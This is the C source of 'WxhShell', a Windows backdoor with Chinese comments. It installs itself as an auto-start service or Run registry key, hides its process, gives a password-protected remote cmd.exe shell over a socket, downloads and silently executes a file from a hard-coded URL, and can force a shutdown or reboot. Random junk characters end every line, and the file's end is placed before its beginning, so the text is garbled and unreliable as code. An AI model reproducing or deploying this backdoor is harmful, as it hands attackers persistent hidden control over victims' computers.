    else { L<bYRGz  
    closesocket(wsh); x|.v{tQa  
    ExitThread(0); 25aNC;J  
    } t";{1.  
    break; 2ubmsbt$  
    } ?F ce!J  
  // 获取shell RTK}mhnV  
  case 's': { inYM+o!Ub  
    CmdShell(wsh); Z+NF(d  
    closesocket(wsh); lwVk(l Z  
    ExitThread(0); i*X{^A73"  
    break; Y^ QKp"  
  } As0 B\  
  // 退出 E[S? b=^  
  case 'x': { Iha[G u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;xfO16fNk  
    CloseIt(wsh); 3FFaEl  
    break; (@+h5@J[`I  
    } !6M Bxg>  
  // 离开 ar Q)%W  
  case 'q': { %Nj #0YF]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QS^~77q  
    closesocket(wsh); q7|:^#{av  
    WSACleanup();  #;`Oj  
    exit(1); 27m@|M] R  
    break; C`)_i3 ^  
        } b 8>q;  
  } gc##V]OD  
  } Hk@r5<{  
XlVc\?  
  // 提示信息 C)OG62  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J7:9_/ e0T  
} cA<<& C  
  } ZP-dW|<[ x  
!K[/L< Kv  
  return; |8bE9qt.P  
} lK*jhW?3:  
fmFzW*,E  
// shell模块句柄 >:2}V]/ ;  
int CmdShell(SOCKET sock) $0#6"urG  
{ h}h^L+4  
STARTUPINFO si; t)} \9^Uo  
ZeroMemory(&si,sizeof(si)); |=O1Hn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R"Kz!NTB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b vRB  
PROCESS_INFORMATION ProcessInfo; gY!N3 *:  
char cmdline[]="cmd"; L=RGL+f1 _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f3G1r5x  
  return 0; C,"=}z1P  
} bG(x:Py&  
HMV)U{  
// 自身启动模式 :N2E}hxk  
int StartFromService(void) P[FV2R~  
{ jJia.#.Ze  
typedef struct qz`rL#W]  
{ LKx`v90p  
  DWORD ExitStatus; fJy)STQ4  
  DWORD PebBaseAddress; .#0H{mk  
  DWORD AffinityMask; 'd/*BjNp)  
  DWORD BasePriority; mZ7B<F[qV  
  ULONG UniqueProcessId; r2nBWA3  
  ULONG InheritedFromUniqueProcessId; }#6xFTH  
}   PROCESS_BASIC_INFORMATION; o&z!6"S<  
3 CM^j<9  
PROCNTQSIP NtQueryInformationProcess; %G[/H.7s-  
F;P5D<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &cc9}V)M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mw4JQ\  
-w]/7cH  
  HANDLE             hProcess; P$ucL~r  
  PROCESS_BASIC_INFORMATION pbi; BqB |Fo  
Ns<?b;aK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q jz3<`7-  
  if(NULL == hInst ) return 0; hbI;Hd  
_{$fA6C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \0?$wIH?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KQ{Lt?S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < bFy(+  
2 n)gpLIJ  
  if (!NtQueryInformationProcess) return 0; "Zcu[2,  
tuLH}tkNY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u1^\MVO8  
  if(!hProcess) return 0; ]JdJe6`Mc  
 qSTWb%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rslvsS:  
jXp. qK\"  
  CloseHandle(hProcess); c<4F4k7  
 $:EG%jl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uw)=WImz[  
if(hProcess==NULL) return 0; CxDcY  
CZ(`|;BC*  
HMODULE hMod; k!3 cq)  
char procName[255]; GoIQ>n  
unsigned long cbNeeded; O~PChUU*Y  
:, _!pe;H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TQc@lR!  
xS8,W  
  CloseHandle(hProcess); fu R2S70d  
I]R9HGJNlJ  
if(strstr(procName,"services")) return 1; // 以服务启动 6G of. :"f  
()\jCNLT  
  return 0; // 注册表启动 9I .^LZ"  
} yMxTfR  
B!;+_%P76  
// 主模块 -V5w]F'  
int StartWxhshell(LPSTR lpCmdLine) 68e[:wf  
{ [T^?Q%h  
  SOCKET wsl; dJD(\a>r.u  
BOOL val=TRUE; wL3,g2-L  
  int port=0; $a(`ve|  
  struct sockaddr_in door; 1~\M!SQ)  
|m;L?)F<  
  if(wscfg.ws_autoins) Install(); ER^QV(IvP8  
>o/95xk2  
port=atoi(lpCmdLine); e |V]  
%tmp  
if(port<=0) port=wscfg.ws_port; (3;@^S4&w  
zzIr2so  
  WSADATA data; Y#HI;Y^RP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6B6vP%H#  
|PP.<ce\-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N3%*7{X 9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q0./O|Dj   
  door.sin_family = AF_INET; 5 1dSFr<#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `1+F,&e  
  door.sin_port = htons(port); _<*Hv*Zm  
)`+YCCa6F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pe.QiMW{8  
closesocket(wsl); ` A)"%~  
return 1; h<x4YB5Mj  
} 80;n|nNB  
FTf<c0  
  if(listen(wsl,2) == INVALID_SOCKET) { P^)q=A8Z#  
closesocket(wsl); jc:s` 4  
return 1; \/5RL@X}  
} |+}G|hx@9  
  Wxhshell(wsl); lzhqcL"  
  WSACleanup(); vmX"+sHz$]  
L0NA*C   
return 0; XP3x Jm3  
p|[B =.c{  
} l]6% lud8_  
_}gtcyx  
// 以NT服务方式启动 v }\,o%t^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *%gF2@=r8F  
{ )rm4cW_  
DWORD   status = 0; Or0O/\D)  
  DWORD   specificError = 0xfffffff; M.[rLJZ4  
EWj gI_-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "%6/a7S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t ^SzqB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eu#'SXSC F  
  serviceStatus.dwWin32ExitCode     = 0; _Z Y\,_  
  serviceStatus.dwServiceSpecificExitCode = 0; UE"GJt`I  
  serviceStatus.dwCheckPoint       = 0; ](jFwxU  
  serviceStatus.dwWaitHint       = 0; OW@\./nM  
e0HfP v_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F0lOlS   
  if (hServiceStatusHandle==0) return; F]+~x/!  
j/!H$0PN  
status = GetLastError(); q(IQa@$SR  
  if (status!=NO_ERROR) H/fUM  
{ }q[Bd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5h{`<W  
    serviceStatus.dwCheckPoint       = 0; +-$Ko fnM  
    serviceStatus.dwWaitHint       = 0; h6D^G5i  
    serviceStatus.dwWin32ExitCode     = status; BS 1Ap  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~bK9R 0|<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p&b5% 4P  
    return; 9KuD(EJS  
  } v& $k9)]  
[wnDHy6W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,5Vt]#F5@  
  serviceStatus.dwCheckPoint       = 0; jp2Q 9Z  
  serviceStatus.dwWaitHint       = 0; 0<p{BL 8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R.9V,R5  
} j2 %^qL  
\cJa;WM>  
// 处理NT服务事件,比如:启动、停止 pY"O9x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 98XVa\|tl  
{ >SbK.Q@ei  
switch(fdwControl) )Kd%\PP  
{ |CFRJN-J"  
case SERVICE_CONTROL_STOP: 3G}AH E4  
  serviceStatus.dwWin32ExitCode = 0; 5Wx~ZQZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aHzHvl  
  serviceStatus.dwCheckPoint   = 0; b;cMl'  
  serviceStatus.dwWaitHint     = 0; E%N2k|%8d_  
  { zZ-\a[F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r(A.<`\   
  } \}0-^(9zd  
  return; f58?5(Dc|  
case SERVICE_CONTROL_PAUSE: 9ooY?J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IH *s8tPc  
  break; @R|'X  
case SERVICE_CONTROL_CONTINUE: |I;$M;'r&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J @IS\9O  
  break; RW'nUL?_\  
case SERVICE_CONTROL_INTERROGATE: 07v!Zj  
  break; C~% 1w%nn  
}; s#9Ui#[=h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SGL|Ck  
} [{u(C!7L`  
]e?x# <S  
// 标准应用程序主函数 -V.d?A4"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !D^c3d  
{ `{v?6:G:Q  
NQHz<3S[  
// 获取操作系统版本 I0'WOV70  
OsIsNt=GetOsVer(); ]b?9zeT*'l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t<iEj"5  
X;F8_+Np  
  // 从命令行安装 I^\&y(LJF  
  if(strpbrk(lpCmdLine,"iI")) Install(); *XOJnyC_H  
&EGqgNl  
  // 下载执行文件 gY-5_Ab  
if(wscfg.ws_downexe) { 7r# ymQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k44Q):ncY7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5*%#o  
} "UFs~S|e  
HeGY u?&  
if(!OsIsNt) { 6?tlU>A2s  
// 如果时win9x,隐藏进程并且设置为注册表启动 68fiG  
HideProc(); |KI UgI  
StartWxhshell(lpCmdLine); 4bVO9aUG{  
} <6TT)t<h  
else {V19Zv"j  
  if(StartFromService()) #SVNHpx  
  // 以服务方式启动 zw<p74DH  
  StartServiceCtrlDispatcher(DispatchTable); . 5y"38e  
else ZzGahtx)Y  
  // 普通方式启动 B;6]NCx D  
  StartWxhshell(lpCmdLine); 9LnN$e  
X!hIwiA,t  
return 0; ji1HV1S  
} VZka}7a  
]va>ex$d  
8LkP)]4^sO  
IA zZ1#/3  
=========================================== +gd2|`#  
NH<gU_s8{9  
Rgy- OA  
f>o,N{|  
AI vXb\wL  
`A$!]&[~|  
" 6DTTV66  
%q ;jVj[  
#include <stdio.h> Psura$:  
#include <string.h> A5:qKaAq  
#include <windows.h> \`<cH#  
#include <winsock2.h> @:0ddb71  
#include <winsvc.h> @!N-RQ&A  
#include <urlmon.h> _ZB\L^j)  
Gl %3XdU  
#pragma comment (lib, "Ws2_32.lib") >Hb^P)3  
#pragma comment (lib, "urlmon.lib") Y/<lWbj*A  
'+>fFM,*B  
#define MAX_USER   100 // 最大客户端连接数 F7L&=K$2y  
#define BUF_SOCK   200 // sock buffer d6{Gt"  
#define KEY_BUFF   255 // 输入 buffer gJiK+&8I  
-$VZte x  
#define REBOOT     0   // 重启 dC e4u<so\  
#define SHUTDOWN   1   // 关机 >>b3ZE|5  
,C.:;Ime({  
#define DEF_PORT   5000 // 监听端口 D-Vai#Cd  
jxa D&4Fs8  
#define REG_LEN     16   // 注册表键长度 >KLtY|o)  
#define SVC_LEN     80   // NT服务名长度 AUVgPXOwd  
o; a:Dd  
// 从dll定义API 6Tw#^;q-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =\#%j|9N9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {gA\ph% s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L TV{{Z+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZoB*0H-  
`(+o=HsD  
// wxhshell配置信息 iB0WEj[?  
struct WSCFG { ,r^M?>  
  int ws_port;         // 监听端口 r"2V  
  char ws_passstr[REG_LEN]; // 口令 u cwnA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ev0oO+u  
  char ws_regname[REG_LEN]; // 注册表键名 w@-PqsF  
  char ws_svcname[REG_LEN]; // 服务名 W6T|iZoV"r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EpS(o>'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jc[_I&Oc_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Sl57!U5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OdWou|Gz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xqXDxJlns  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t>GfM  
ECdvX0*a  
}; 1aVa0q<  
J`q]6qf#  
// default Wxhshell configuration [XRCLi}  
struct WSCFG wscfg={DEF_PORT, l+V,DCE  
    "xuhuanlingzhe", QVF]Ci_=  
    1, "Td`AuP@,  
    "Wxhshell", 4nH*Ui!T  
    "Wxhshell", `-`qdda  
            "WxhShell Service", !UOCJj.cA  
    "Wrsky Windows CmdShell Service", oRKEJ Nps  
    "Please Input Your Password: ", KIA 2"KbjG  
  1, J89Dul l  
  "http://www.wrsky.com/wxhshell.exe", @~<j&FTT  
  "Wxhshell.exe" & gJV{V5Ay  
    }; ""Zp:8o  
^J Z^>E~  
// 消息定义模块 \ \BCcr\l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >-_d CNZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; id<:p*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G$'jEa<:u  
char *msg_ws_ext="\n\rExit."; v5;I]?72l~  
char *msg_ws_end="\n\rQuit."; 9Suu-A  
char *msg_ws_boot="\n\rReboot..."; wiaX&-c]8  
char *msg_ws_poff="\n\rShutdown..."; IM$2VlC  
char *msg_ws_down="\n\rSave to "; w{~+EolK  
ms($9Lv/  
char *msg_ws_err="\n\rErr!"; ~^u16z,  
char *msg_ws_ok="\n\rOK!"; Wk:hFHs3  
1Gt/Tq$_b  
char ExeFile[MAX_PATH]; <PPNhf8  
int nUser = 0; I/VxZ8T  
HANDLE handles[MAX_USER]; D'Z|}(d&  
int OsIsNt; l no vykR  
;U1UFqZ`  
SERVICE_STATUS       serviceStatus; kyAXRwzI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O3N0YGhJ  
I$Qs;- (  
// 函数声明 5qg2Zc~  
int Install(void); +jg9$e"  
int Uninstall(void); JOjoiA  
int DownloadFile(char *sURL, SOCKET wsh); 5Zmw} M  
int Boot(int flag); oLWJm  
void HideProc(void); i{!T&8  
int GetOsVer(void); xD&^j$Em  
int Wxhshell(SOCKET wsl); Lb{e,JH  
void TalkWithClient(void *cs); G*S|KH  
int CmdShell(SOCKET sock); B!gGK|8  
int StartFromService(void); ELh8ltLY  
int StartWxhshell(LPSTR lpCmdLine); HL/bS/KX  
^qCkt1C-M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LG~S8u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cv$ SJc  
9Rm/V5  
// 数据结构和表定义 f<+ 4rHT  
SERVICE_TABLE_ENTRY DispatchTable[] = bX.ja;;   
{ 8Qh#)hiW!  
{wscfg.ws_svcname, NTServiceMain}, $Vc~/>  
{NULL, NULL} ut >4U'.H  
}; o7B[R) 4  
5L:1A2Z?c  
// 自我安装 |AlR^N  
int Install(void) Lokl2o `  
{ t+,4Ya|Xj  
  char svExeFile[MAX_PATH]; /8VP[i)u  
  HKEY key; g8!wb{8?s  
  strcpy(svExeFile,ExeFile); H Te<x  
kc/{[ME  
// 如果是win9x系统,修改注册表设为自启动 ;"O&X<BX-  
if(!OsIsNt) { ^Qu iH'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?ER-25S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {]z4k[;.h  
  RegCloseKey(key); o!:8nXw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >5R <;#8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J$~<V IX  
  RegCloseKey(key); _U;eN|Ww  
  return 0; "cTncL  
    } [-&L8Un  
  } )1g"?]  
} #fj/~[Ajv  
else { 2F%W8Y 3  
j)t+jcMUI  
// 如果是NT以上系统,安装为系统服务 & c Ny  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mv c`)_Md  
if (schSCManager!=0) pfx3C*  
{  0l;<5  
  SC_HANDLE schService = CreateService H+ h07\? %  
  ( x8;`i$  
  schSCManager, '0$?h9"  
  wscfg.ws_svcname, &V>fYgui  
  wscfg.ws_svcdisp, yr#5k`&\_  
  SERVICE_ALL_ACCESS, AmwWH7,g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4tSv{B/}  
  SERVICE_AUTO_START, 7Cjd.0T=(  
  SERVICE_ERROR_NORMAL, lTU$0CG  
  svExeFile, b$k&dT\o  
  NULL, B\g]({E  
  NULL, _(m't n>   
  NULL, kE TT4U  
  NULL, n.hv!W0  
  NULL UpXz&k  
  ); \7"@RHcihB  
  if (schService!=0) Ll MpS<2NO  
  { 1<ro7A4hK  
  CloseServiceHandle(schService); X-Wz:NA  
  CloseServiceHandle(schSCManager); *&Z7m^`FQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WvHw{^(lF  
  strcat(svExeFile,wscfg.ws_svcname); (H oqR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i&8FBV-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N_L,]QT?  
  RegCloseKey(key);  p!Eft/A(  
  return 0; vzF5xp.  
    } rbT)=-(  
  } p;?*}xa  
  CloseServiceHandle(schSCManager); iCP/P%  
} jlFk@:y4  
} VF&Z%O3n  
]pEV}@7  
return 1; #d{=\$=  
} G8W#<1LE  
RtG}h[k/X  
// 自我卸载 "U. ^lkN  
int Uninstall(void) {brMqE>P#  
{ &'l>rD^o  
  HKEY key; -T6(hT\  
CIjZG?A  
if(!OsIsNt) { 'WHHc 9rG,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `>DP,D)w(  
  RegDeleteValue(key,wscfg.ws_regname); g+-;J+X8  
  RegCloseKey(key); eT'nl,e|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "m{,~'x  
  RegDeleteValue(key,wscfg.ws_regname); 7VK}Dy/Vvn  
  RegCloseKey(key); .oEmU+  
  return 0; X0{/ydG F8  
  } k`".  
} :V)lbn\  
} q P ;A}C  
else { 5unG#szq  
#S%Q*k<hw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y]%w)4PS  
if (schSCManager!=0) ;X,1&#I  
{ m8623D B"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QZ `tNq :/  
  if (schService!=0) 3Rm#-T s  
  { iVB^,KQ@  
  if(DeleteService(schService)!=0) { V8=Y@T,  
  CloseServiceHandle(schService); C8a*Q"  
  CloseServiceHandle(schSCManager); D 71;&G]0  
  return 0; (h']a!  
  } M.h`&8  
  CloseServiceHandle(schService); 6)pH |d.FR  
  } w@2Vts  
  CloseServiceHandle(schSCManager); reo{*) %  
} ~}Z\:#U  
} ,(a5@H$f  
avmcw~ TF  
return 1; 2/,0iwj-  
} uH3D{4   
1exl0]-  
// 从指定url下载文件 M>jtFP <S  
int DownloadFile(char *sURL, SOCKET wsh) 3Q/#T1@  
{ B*!WrB :s  
  HRESULT hr; $- +/$!  
char seps[]= "/"; ~-a'v!  
char *token; wPbkUVO  
char *file; x*oWa,  
char myURL[MAX_PATH]; &iN--~}!$  
char myFILE[MAX_PATH]; Qy#)Gxp  
wV?,Z!\Z  
strcpy(myURL,sURL); 3M5#4n\v$  
  token=strtok(myURL,seps); GFSt<k)  
  while(token!=NULL) [NnauItI  
  { `SO|zz|'  
    file=token; 8#R?]Uwq  
  token=strtok(NULL,seps); S{',QO*D6  
  } G0n'KB  
>#+IaKL7  
GetCurrentDirectory(MAX_PATH,myFILE); >Ps7I  
strcat(myFILE, "\\"); /8@m<CW2Y  
strcat(myFILE, file); J H.K.C(  
  send(wsh,myFILE,strlen(myFILE),0); zr76_~B1u  
send(wsh,"...",3,0); W{XkV Ke1a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +@X5!S6  
  if(hr==S_OK) 5)1+~B  
return 0; 7iu Q9q^&  
else w^K^I_2ge  
return 1; I PE}gp  
&PcyKpyd  
} ashcvn~z  
fJjgq)9  
// 系统电源模块 iq?#rb P#I  
int Boot(int flag) ~Lfcg*  
{ P[t$\FS  
  HANDLE hToken; Kex[ >L10G  
  TOKEN_PRIVILEGES tkp; 0ZAj=u@O  
g|PC$p-z+  
  if(OsIsNt) { 0f ER*.F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F{k+7Ftc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dj-s5pAW  
    tkp.PrivilegeCount = 1; gG54:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N132sN2   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fYebB7Pv  
if(flag==REBOOT) { eT"Uxhs-}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O`FqD{@V  
  return 0; OH<?DcfeL  
} T0j2a &Pv  
else { 3L-^<'~-k;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yh;Y,;4  
  return 0; Z.&\=qiY  
} ~Pk0u{,4XQ  
  } 4yMW^:@  
  else { ?_6YtR,{  
if(flag==REBOOT) { b|^I<7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wh 0<Uv  
  return 0; v4?iOD  
} 9-*NW0  
else { ]kktoP|D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B%<e FFV\  
  return 0; %XhfXd'  
} Ft%hh|$5y  
} HN5W@5m: .  
mkvvNm3  
return 1; jyW[m,#(go  
} .uZ7 -l  
k D~uGA  
// win9x进程隐藏模块 !7H6i#g*  
void HideProc(void) zLjgCS<7  
{ g+q@i{Yn  
]XUl@Y.   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r$)$n&j  
  if ( hKernel != NULL ) D>ai.T%n  
  { U/MFhD(06  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <MD;@_Nz\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RcY[rnI6  
    FreeLibrary(hKernel); 6DS43AQs  
  } ka7uK][  
kv|,b  
return; 2@@l{Y0f6  
} jThbeY[  
.e[Tu|qo  
// 获取操作系统版本 eVy2|n9rH  
int GetOsVer(void) ft5DU/%  
{ I{.HO<$7D}  
  OSVERSIONINFO winfo; Uf,fX/:!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J2Et-Cz1  
  GetVersionEx(&winfo); ,j;PRJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k M*T$JqN  
  return 1; i1*C{Lf;%)  
  else vx0UoKX  
  return 0; ]Bu DaxWN  
} %&] 1FhL  
w[fDk1H)  
// 客户端句柄模块 :uCdq`SaQl  
int Wxhshell(SOCKET wsl) ?A=b6Um  
{ &{^eU5  
  SOCKET wsh; XDmbm*~i  
  struct sockaddr_in client; Cyk s  
  DWORD myID; o\4t4}z~'f  
FUTn  
  while(nUser<MAX_USER) f'/ KMe%<  
{ 1t~({Pl<>  
  int nSize=sizeof(client); l:e9y$_)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q(9%^cV6  
  if(wsh==INVALID_SOCKET) return 1; 4 eh=f!(+  
XoL[ r67Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -ut=8(6&  
if(handles[nUser]==0) =:K@zlO:  
  closesocket(wsh); .P/xs4  
else +^Jwo)R'b  
  nUser++; Xz1c6mX|o  
  } 8fO8Dob]\Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XL"=vbD  
v&0d$@6/U  
  return 0; >q|Q-I~gs  
} PZ]5Hf1"  
Kdt|i93  
// 关闭 socket o<\6Rm  
void CloseIt(SOCKET wsh) LD.Ck6@  
{ Z;*`f d?8  
closesocket(wsh); v5Y@O|i#  
nUser--; &+;uZ-x  
ExitThread(0); cIZc:   
} FLbZ9pX}  
Baq ~}B<  
// 客户端请求句柄 [}k|  
void TalkWithClient(void *cs) & l^n4  
{ BR3mAF  
wixD\t59X  
  SOCKET wsh=(SOCKET)cs; rgR?wXW]jE  
  char pwd[SVC_LEN]; el Kx]%k*)  
  char cmd[KEY_BUFF]; y9 uVCR  
char chr[1]; i7v/A&Rc  
int i,j; ~= 9V v  
02M7gBS  
  while (nUser < MAX_USER) { &t[|%c*D&  
yV_ L/,6}D  
if(wscfg.ws_passstr) { `1,eX)S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  HD|sr{Z%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M7 p8^NL  
  //ZeroMemory(pwd,KEY_BUFF); M)=|<h"F  
      i=0; )<'yQW=6  
  while(i<SVC_LEN) { |>JmS  
24|<<Xn  
  // 设置超时 3;D?|E]1  
  fd_set FdRead; a(Sv,@/  
  struct timeval TimeOut; d<Dn9,G  
  FD_ZERO(&FdRead); L w*1 .~  
  FD_SET(wsh,&FdRead); {{zua- F  
  TimeOut.tv_sec=8; r`>~Lp`  
  TimeOut.tv_usec=0; J[+Tj @n'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2mOfsn d@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AO8:|?3S  
T g\hx>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ V5S4E  
  pwd=chr[0]; (\uA AW"  
  if(chr[0]==0xd || chr[0]==0xa) { 3GINv3_  
  pwd=0; x 8M#t(hw  
  break; `vH&K{   
  } h9Z[z73_a  
  i++; 8!6<p[_  
    } okh0 _4  
I$Eg$q  
  // 如果是非法用户,关闭 socket g`{Dxb,t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |@q9{h7  
} B{4"$Mi  
xOgq-@`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (WkTQRcN,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a[JZ5D  
5~-}}F  
while(1) { YiBOi?h9  
nO:HB.&@  
  ZeroMemory(cmd,KEY_BUFF); CH#kvR2  
ZK!4>OuH`  
      // 自动支持客户端 telnet标准   / (.'*biQ  
  j=0; m^Rd Iy)  
  while(j<KEY_BUFF) { ndB@J*Imu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S#hu2\9D,  
  cmd[j]=chr[0]; gm}C\q9  
  if(chr[0]==0xa || chr[0]==0xd) { FBbm4NB  
  cmd[j]=0; &BTfDsxAK  
  break; B~BUW WMfp  
  } .yG8B:7N2  
  j++; `^`9{@~  
    } 2}>go^#O/w  
}o{!}g9  
  // 下载文件 L:Ed-=|Uw  
  if(strstr(cmd,"http://")) { TA<hj[-8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y8}"DfU.  
  if(DownloadFile(cmd,wsh)) =^"~$[z(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k~ZBJ+ 94  
  else dvxf lLd @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QM7[O]@  
  } i{4'cdr?  
  else { '%3u%;"  
|zg=+  
